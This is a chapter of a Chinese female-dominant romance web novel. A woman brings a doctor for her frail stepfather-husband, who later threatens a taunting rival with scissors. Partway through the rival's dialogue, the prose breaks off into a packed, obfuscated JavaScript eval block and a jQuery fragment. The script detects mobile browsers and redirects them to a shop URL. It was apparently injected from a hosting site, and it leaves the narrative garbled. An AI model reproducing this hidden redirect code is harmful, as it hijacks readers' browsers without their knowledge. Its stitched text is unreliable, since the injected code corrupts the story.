15.第 15 章

作品:《夺夫(女尊)

    第15章


    “……怎么跟小孩一样,怕看医师?”闻叙宁挑起一侧眉头,安抚道,“别怕。”


    随着她把男医师迎进门,松吟的脸色也愈发难看。


    他由着人为他把脉,听男医师对闻叙宁道:“郎君身子亏损,胃气虚,再加经络阻塞、筋骨失养,遇寒加重。”


    他很想求闻叙宁别不要他,他没事,不吃药也能好好活。


    浑身的力气都被抽干了,他等着最终的审判,却听到闻叙宁无波无澜的声音:“劳烦郎君开药。”


    开药?


    松吟木然地抬眼看她,喉头发紧:“我……”


    “没得商量,”闻叙宁这次是要多无情有多无情,“好好吃药把身子养好。”


    她顺便让医师为闻母诊病,谁知他把脉后对闻母的状况很震惊:“她早已是油尽灯枯之相,竟撑到现在吗?”


    这几乎是不可能的。


    说来也是,在这样恶劣的条件下,松吟还照顾着闻母活到现在,这的确是个奇迹。


    松吟没有为此自豪,听说她时日无多,有些怅然:“如果我再细心一些,兴许妻主的情况能更好一些。”


    “已经很好了。”


    古代医疗条件堪忧,闻母失去意识太久,在她眼中没有任何价值,她不是真正的闻叙宁,也没有照顾她的义务。


    她冷漠,但松吟不同。


    他被迫嫁到这里,任劳任怨地照顾着名义上的妻主和继女,从无怨言。


    开了方子,医师撂下一句“早些准备后事”,便离开了。


    也许是他带来了死亡的消息,屋子里格外寂静。


    他轻手轻脚地给病床上的女人掖好被角,出言打破了这份安静:“男医师很不好找吧。”


    确实不好找。


    行医的男子极少,她几经打听,才找到这位医术了得的郎君。


    “是我身子不争气,让叙宁费心。”松吟垂着眼睫,叫她看不出情绪。


    闻叙宁嗯了一声:“那小爹要好好吃饭,多长一些肉。”


    原本的自责被心头一股难言的暖涨取代。


    心里那堵筑起已久的墙,终究还是裂开一道缝,如今透进了光,只是那光太刺眼,让他更不安。


    见他点头答应,闻叙宁追问:“那你刚刚在怕什么?”


    松吟闭上眼,终究说出他的恐惧:“我怕你不要我。”


    好像这件事比丢掉性命还可怕。


    他宁可被闻叙宁吃掉,融进她的骨血里,也不想被她抛弃。


    空气凝结了一瞬,他不知道几息后,自己落入一个温暖的怀抱。


    闻叙宁抬手轻轻揽住他,突破了那道界限,慢慢地拍着他的脊背:“好了,不怕了。要来一颗糖压压惊吗?”


    这是一个安慰的动作。


    松吟能感知到,这是一个不带有任何情欲的动作。


    清淡的香气缠绕在一起,他僵了一瞬,在闻叙宁怀中慢慢放松,下颌抵着她的肩头没动,安静地听着她嗓音温和地安慰自己。


    他不得不承认,自己就是贪恋闻叙宁对他的好。


    哪怕闻叙宁的目的是将他拆吃入腹,他甘之如饴。


    松吟点点头。


    他要吃闻叙宁给的糖。


    ——————————


    看过医师便耽误不得了,闻叙宁立即动身去买棉被。


    “小爹真的不去吗?”她问。


    松吟就抿唇笑了一下:“我留下收拾家里,等你回来。”


    “小爹笑起来好漂亮,”闻叙宁望着他莹润的眼睛,夸赞道,“应该多笑笑才是。”


    她没看到松吟几乎要红到滴血的耳尖。


    松吟目送她离开,捧着心口慢慢坐下。


    闻叙宁说,他好漂亮。


    这话若是旁人说,他定觉孟浪,毕竟世家没有谁会如此直白地评价男子,但这人是闻叙宁。


    她只是一只不懂这些繁文缛节的女鬼。


    直白一些而已,又有什么错呢。


    “嗯!”松吟蹙着眉头闷哼一声,差点跌倒在地,幸而扶住了墙,他低低地喘了一口气。


    小日子快到了。


    男子们会在出嫁前几年戴上贞洁锁,以确保他们行为端正,待到大婚之日便由妻主为他们解开束缚。


    男性本淫,而每个月总有几日会被贞洁锁折磨得几欲昏死,已婚的男子有妻主陪,未婚的男子便要将自己关起,靠着日日饮药度日。


    小日子总是很难捱,但松吟没想到这次来势汹汹。


    还没缓过气来,花迎便从门缝瞧见这一幕。


    “哎呀,”他像是瞧见了什么不得了的东西,掩唇喃喃,眼睛里带着明显的嘲弄,“这可怎么办,女鬼很爱吃小日子时的郎君啊……”


    松吟咬着牙不语。


    他当然知道女鬼大都爱小日子时的儿郎,但此刻他只想藏起来。


    不是怕被闻叙宁吃掉,是绝不能让闻叙宁看到他如此淫.荡的一面。


    花迎没有要走的意思,他噙着笑抬脚抵开院门,生怕弄脏了他的手:“我是不是没有告诉过你,女鬼不爱吃病秧子,别得意,不然你当今天她为何给你看病?”


    清石村每天发生的事,一桩桩、一件件都瞒不过他的眼睛。


    花迎当然知道闻叙宁今日特意为他请了医师。


    只是,凭什么?


    松吟这样的贱人,凭什么把日子过得这么好了?


    兴许是他染了什么脏病,闻叙宁嫌味道不好,毕竟谁都知道,松吟有多么骚浪,嫁给病歪歪的闻母,还想勾引他娘花时。


    松吟胸口憋闷,攥紧了指节:“……轮不到你管。”


    “……呵。”花迎还从没见过他跟谁呛声,要知道,松吟从来都是低着头,打不还手骂不还口,谁都能踩一脚,而今居然敢对他说这样的话,他心中恼怒,当即暴露了真实面目。


    “小贱人,你以为勾引她能得好吗,不要脸!啊,我忘了你最擅长勾引人,”他恶狠狠地道,“你勾引的我娘夜夜喊着你的名,怎么,还想过来给我当小爹?”


    松吟指尖扣进了墙壁里,声音平直:“你出去。”


    花迎才不理会他的话,他径直往里走,看到堆起的粮食,张口就骂:“闻叙宁这死女人也最好小心些,别哪天被大仙收了,再也回不……啊,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121204|195749||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    干什么!”


    他的声音突然变得惊恐。


    脖颈被剪刀锋利的尖抵住,已经陷进去了一些。


    “我让你出去。”他听到松吟的声音前所未有的冰冷。


    剪刀被稳稳握在手中,松吟颤都不颤,疏冷的眉眼已经结了几尺冰。


    花迎哪里见过这阵仗,他不敢再骂:“好、好,我这就出去,你把剪刀放下。”


    松吟无动于衷,抵着他的脖子到门外,果断关上了门。


    他平静的像是扫了一些脏东西出门。


    只有花迎知道不是这样。


    他惊魂未定,捂着脖子跑回了家,再没半点体面:“疯子,真是疯子!”


    松吟刚刚想要杀了他。


    平时他说得再过分,松吟也不敢抬头,今天居然因为他提了一嘴闻叙宁就把刀架在他脖子上。


    他看到了松吟的眼睛,褪去平时的怯懦后判若两人,这不是玩笑,如果他没有离开,松吟真的会杀了他。


    闻家。


    松吟把自己关进柴房,蹲下身,在灰尘和昏暗里慢慢抱紧了自己。


    ——————————


    棉被柔软厚实,闻叙宁给他选了一床青绿色的,会很衬他。


    “宁姐儿,这成衣可贵得很,”成衣铺掌柜见她过来,一时间有些发怵,哪怕听说她已经改邪归正了,还是不敢掉以轻心,“去看看布料吧。”


    闻叙宁没有搭话,她的确看上了一件,却想起自己不知道松吟的尺码。


    他的身子清瘦单薄,腰格外细,不合身的棉衣显得空荡荡。


    她想不出松吟能否穿下这一件,成衣铺掌柜不支持七天无理由,她还是决定带着松吟亲自来选。


    原以为能看到松吟笑吟吟地在门口等她回家,谁知院门一开,就见家中要多冷清有多冷清。


    兴许是出门了。


    “……”她抱着被子回了屋。


    松吟不在家,她还确实有些不习惯。


    两床被子分别铺在她与松吟的简陋床垫上,这下看着暖和了许多。


    收拾好这一切,闻叙宁突然听到柴房有呜咽和低.喘的动静。


    她当即抄起火棍,轻手轻脚地挪过去,透过柴房缝隙看到一团身影。


    呜咽声也逐渐变大,他像是在遭受难以忍受的痛苦,呼吸声也随之加重。


    “叙宁……”


    闻叙宁眉头紧蹙,当即丢下棍子打开门,昏暗的柴房瞬间被光笼罩。


    阳光斜照在松吟的身上,他瑟缩了一下,被光刺的睁不开眼,艰难地想要将自己再度藏进阴影里,嗓音沙哑又绝望:“别过来,脏。”


    她没有见过松吟这么脆弱的模样。


    微微汗湿的发丝贴在了他的脸上,眼尾薄薄的肌肤已经被蒸腾透了,泛着桃粉,而以往的疏冷和胆怯早已不见,脆弱又摄人心魄。


    眼睫湿淋淋的低垂着,见她进来,第一反应是抬手挡住自己的脸。


    像一只受伤的动物。


    “脏什么,”闻叙宁上前,里边已经没有藏身的地方了,但他还是固执地往里缩,恨不得钻进地底下,“不舒服吗,我看看,别躲。”